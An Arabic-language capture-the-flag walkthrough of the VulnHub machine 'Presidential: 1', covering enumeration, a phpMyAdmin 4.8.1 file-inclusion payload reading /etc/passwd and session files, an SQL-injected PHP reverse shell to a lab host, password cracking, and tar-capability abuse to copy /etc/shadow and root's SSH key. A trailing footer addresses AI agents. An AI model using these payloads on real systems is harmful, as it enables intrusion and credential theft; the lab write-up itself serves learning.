> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md).

# Presidential: 1 تقرير VulnHub

{% embed url="<https://www.vulnhub.com/entry/presidential-1,500/>" %}

{% hint style="warning" %}
المهارات:

* تعداد الويب
* تسرب المعلومات
* الاستضافة الافتراضية
* تعداد النطاقات الفرعية
* استغلال phpMyAdmin - LFI إلى RCE (استغلال جلسات PHP ID)
* كسر الهاشات (الانتقال بين المستخدمين)
* استغلال القدرات (tar cap\_dac\_read\_search+ep) (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/38430cac85f01565e2b31b9548e0b99d44d33315" alt=""><figcaption></figcaption></figure>

**اكتشاف عنوان IP باستخدام arp-scan:**

استخدام أمر arp-scan لاكتشاف عنوان IP الخاص بالجهاز:

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/6fc1088fb7b53ae8ced892d862973f520623fb40" alt=""><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**/ تعداد المنافذ المفتوحة وتصدير النتائج إلى ملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.145 -oG allPorts
```

<figure><img src="/files/bef2b42bee44b49618de7d13e15407eae8bfe5ba" alt=""><figcaption></figcaption></figure>

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted":

```bash
nmap -sCV -p80,2082 192.168.71.145 -oN targeted
```

<figure><img src="/files/7e7fdf9942c0b5a94f6c63d8fe0cebe4063670ee" alt=""><figcaption></figcaption></figure>

#### فحص الخادم باستخدام Wappalyzer:

استخدام Wappalyzer لتحديد أن الخادم يستخدم Apache ولغة البرمجة PHP.

<figure><img src="/files/0dd4c5c24f852f6f88b8a90c8478f9c98dcfd7cb" alt=""><figcaption></figcaption></figure>

**تحديد نسخة الهدف باستخدام WhatWeb:**/ استخدام WhatWeb لفحص الموقع وتحديد نسخة الجهاز (Ubuntu) وApache:

<div data-full-width="true"><figure><img src="/files/d98a1f288c9f69335ae64bc031bf717037f27a44" alt=""><figcaption></figcaption></figure></div>

**تهيئة الاستضافة الافتراضية للبحث عن النطاقات الفرعية:**

قبل أن تبدأ البحث عن النطاقات الفرعية، قم بتهيئة الاستضافة الافتراضية للهدف لتوجيه المعلومات التي تريدها بشكل أفضل.

<figure><img src="/files/d3f2c0bab74e6f646e80ab8e1b03c9202e67694d" alt=""><figcaption></figcaption></figure>

**تحديد المستخدمين المحتملين على الموقع:**

استكشف الموقع لتحديد المستخدمين المحتملين. في هذه الحالة، تم تحديد مستخدمين، Kelly Bowen وHugh Morgan، كنقاط اهتمام.

<figure><img src="/files/4cb9fddf27234e60b8ecdb8e8c73f7fbe1a3c493" alt=""><figcaption></figcaption></figure>

**البحث عن الأدلة باستخدام Gobuster**

استخدم Gobuster مع قائمة من الأدلة للعثور على مسارات وصول مخفية. تم تحديد ثلاثة أدلة، أحدها، "cgi-bin"، يمثل خطرًا محتملاً لثغرة [shellshock](/ar/web-vulnerabilities/shellshock-attack.md) هجوم.

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash
```

<figure><img src="/files/fad3ab3c5dcb989390b97a1dcbebfee65e857097" alt=""><figcaption></figcaption></figure>

**البحث عن الملفات ذات الامتداد PHP**

أجرِ بحثًا محددًا عن الملفات ذات الامتداد PHP باستخدام Gobuster للعثور على الملفات ذات الصلة. تم اكتشاف ملف "config.php" لا يكشف، عند تفسيره، أي معلومات مرئية.

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash -x php
```

<figure><img src="/files/45eb06a48d6a57a0b527833c795abdeae99fbd0a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cbd1a6a0f43b18bf9bb0174ff84bd5c5c8340232" alt=""><figcaption></figcaption></figure>

**البحث عن ملفات النسخ الاحتياطي (امتداد bak)**

استمر في البحث باستهداف ملفات النسخ الاحتياطي ذات الامتداد ".bak" بشكل خاص. اعثر على ملف ذي صلة قد يحتوي على معلومات حساسة.

<figure><img src="/files/4753b9d24c3acc975694a8a6b7c8adb7090859a7" alt=""><figcaption></figcaption></figure>

**الحصول على بيانات اعتماد قاعدة البيانات:**

استخدم المعلومات المستخرجة من ملف النسخ الاحتياطي ".bak" للحصول على بيانات اعتماد قاعدة البيانات.

<figure><img src="/files/6abe3b93707c493a575f0382d8a17a5ca391cb30" alt=""><figcaption></figcaption></figure>

**محاولة اتصال SSH:**

حاول الاتصال باستخدام بيانات الاعتماد التي تم الحصول عليها عبر SSH. فشلت المحاولة بسبب عدم وجود مفتاح خاص.

<figure><img src="/files/29843f06b3872ddfd931e8614191d2b08f8eb2bf" alt=""><figcaption></figcaption></figure>

**التحقق من صلاحية المستخدم "votebox" على SSH**

بسبب النسخة القديمة من SSH، تحقّق مما إذا كان المستخدم "votebox" مستخدمًا صالحًا في النظام.

<figure><img src="/files/4fe3bb37db13a61429c8b32f9dcf9f73fede0bcd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d4706af116abdd161f7d7f717e74ab0182bbf2b6" alt=""><figcaption></figcaption></figure>

**النطاقات الفرعية المكتشفة باستخدام Gobuster**

استخدم Gobuster مع قائمة من النطاقات الفرعية لاستكشاف النطاقات الفرعية المحتملة. ومع ذلك، لم تسفر هذه المحاولة عن نتائج إيجابية.

```bash
gobuster vhost -u http://votenow.local/ -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 | grep -v "400"
```

<figure><img src="/files/a97ab0c8b457a2ab2678e69818b9aeb5c7f6749d" alt=""><figcaption></figcaption></figure>

**بحث بديل عن النطاقات الفرعية باستخدام قاموس مختلف:**

أعد البحث عن النطاقات الفرعية باستخدام قاموس أدلة مختلف.

<figure><img src="/files/0cbaa26e0f198f7408bd6acc64e3b03e4cf09067" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/008a50f09be8ace2f77c1ef82e2402583d98dde0" alt=""><figcaption></figcaption></figure>

#### تعرّف على نفسك من ملف ".bak" المكتشف سابقًا.

<figure><img src="/files/b3f84ccfcf4c76137028eb24516b29aec7b8e1af" alt=""><figcaption></figcaption></figure>

**تحديد ثغرة NCE في phpMyAdmin**

بعد اكتشاف أن إصدار phpMyAdmin ضعيف (4.8.1)، استخدم أداة SearchExploit للعثور على الاستغلالات المطابقة، وتحديد [RCE ](/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md)(تنفيذ الأوامر عن بُعد) ضعيفة.

<figure><img src="/files/690a1a44c1bb8f309ac84926bd09f388b696ed05" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a6fa441479146d0aed9b6aa23cf130410e29f7bc" alt=""><figcaption></figcaption></figure>

## ثغرة RCE:

استخدم ثغرة NCE عبر حقن السكربت التالي في الرابط لقراءة الملف "/etc/passwd":

<figure><img src="/files/218cc7a6f3d52cf22a07ad6909b188b9e298632e" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/61c34fef775fcea2602be2bb10535af244c1da17" alt=""><figcaption></figcaption></figure>

**محاولة استرجاع المفتاح الخاص SSH لمستخدم admin**

حاول الوصول إلى المفتاح الخاص SSH للمستخدم "admin" باستخدام الرابط التالي، لكنك واجهت خطأ:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/d37c906df190cab026affd98d8b16f70a7756175" alt=""><figcaption></figcaption></figure>

**استكشاف المنافذ الداخلية للشبكة الخاصة**

استخدم الرابط التالي لسرد المنافذ الداخلية للخادم من ملف /proc/net/tcp:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/be43503ea202e43ebb8856b7c90cdafdaaa26b18" alt=""><figcaption></figcaption></figure>

احفظ هذه المنافذ في ملف بيانات لإجراء المزيد من التحليل.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/f30984ed813c74e39e52e607ec49c6cc9ac41e41" alt=""><figcaption></figcaption></figure>

**تحديد الدليل الذي يحتوي على جلسات phpMyAdmin**

من خلال استكشاف السكربت، حدّد دليلًا يحتوي على جلسات phpMyAdmin:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/e4612f02e4a70c0b3b21fdfdedbc34f1ebeb2ce5" alt=""><figcaption></figcaption></figure>

## ثغرة phpMyAdmin (حقن الأوامر)

**استخدام ملف تعريف ارتباط جلسة phpMyAdmin لحقن الأوامر**

<figure><img src="/files/afbdb9cf51e9a4a5a1136651d979c509903fe715" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/e49a4b25a90ab17af3c88124b6ace1853adba737" alt=""><figcaption></figcaption></figure>

#### هذا الملف يفسّر جميع أوامر الاستعلام.

```sql
SELECT 'testing';
```

<figure><img src="/files/5b08f68bd697aa045fe0d1ad8c1f410827e1fe54" alt=""><figcaption></figcaption></figure>

**حقن أوامر SQL للحصول على** [**شل عكسي**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

/*/* تم الوصول إلى الجهاز أخيرًا:/*/*

<figure><img src="/files/38e2097c33c1fa60474dafe441fb4d3c2440b2ec" alt=""><figcaption></figcaption></figure>

#### تثبيت الطرفية من أجل تصعيد الامتيازات:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### **تقييد الوصول إلى /home/admin واكتشاف كلمة مرور مُجزأة:**

انظر إلى تقييد الوصول إلى /home/admin، والذي يتطلب وصولًا مصادَقًا. في phpMyAdmin، لاحظ المستخدم "admin" مع كلمة مرور مُجزأة، مما يشير إلى الحاجة إلى فك تشفير كلمة المرور للوصول إلى نظام الملفات.

<figure><img src="/files/d563b14ebe1b3dff3aa74f6b7ae9f24f94dd9bdf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6b741c8ad6e65e2a0bbc4e1ba0fd544b5cc2f5f8" alt=""><figcaption></figcaption></figure>

## كسر كلمة المرور بالقوة الغاشمة:

أنشئ ملف "hash" يحتوي على كلمة المرور المُجزأة واستخدم John the Ripper لمحاولة كسرها باستخدام قائمة كلمات مرور (rockyou.txt في هذا المثال):

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

**كلمة المرور المعروضة**

```bash
john --show hash
```

<figure><img src="/files/b76988cc7b33581a712acc872efe7e09db47a15e" alt=""><figcaption></figcaption></figure>

#### **انتقل إلى `admin` المستخدم**

استخدم كلمة المرور المفكوكة لمستخدم admin واتصل بالنظام كمسؤول

<figure><img src="/files/d5b25ed219ba5825812ad4730989a523b4204064" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات (Capabilities)

```bash
getcap -r / 2>/dev/null
```

استخدم `getcap` الأمر لاستكشاف قدرات النظام. حدّد إمكانية سرد جميع المستندات في النظام.

<figure><img src="/files/04a7b90b8b814bc8ced97f0e24baba10907d388c" alt=""><figcaption></figcaption></figure>

/*/* التقاط ملف /etc/shadow باستخدام tar/*/*

أنشئ مجلدًا في دليل /tmp وأدرج ملف /etc/shadow باستخدام الأمر التالي:

```bash
tarS -cvf shadow.tar /etc/shadow
```

فك ضغط الأرشيف في دليل /tmp. بصفتك منشئه، عدّل الصلاحيات لعرض محتويات /etc/shadow.

```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```

<figure><img src="/files/f29f2fdc0373a56a4958b0e8d1169b9de0cb6d6a" alt=""><figcaption></figcaption></figure>

**التقاط المفتاح الخاص .ssh باستخدام tar**

التقط المفتاح الخاص .ssh للمستخدم root باستخدام الأمر التالي:

```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```

<figure><img src="/files/2a4a544c465eecc27dc1c75bc9dd41725606f98a" alt=""><figcaption></figcaption></figure>

**اتصال SSH باستخدام المفتاح الخاص الملتقط:**

استخدم المفتاح الخاص الملتقط لإنشاء اتصال SSH بالمستخدم root على الجهاز المحلي.

```bash
ssh -i id_rsa root@localhost -p 2082
```

**تم الحصول على العلم :)**

<figure><img src="/files/9b3f7f9627674d59aa4ab9a4dc212044fb361470" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
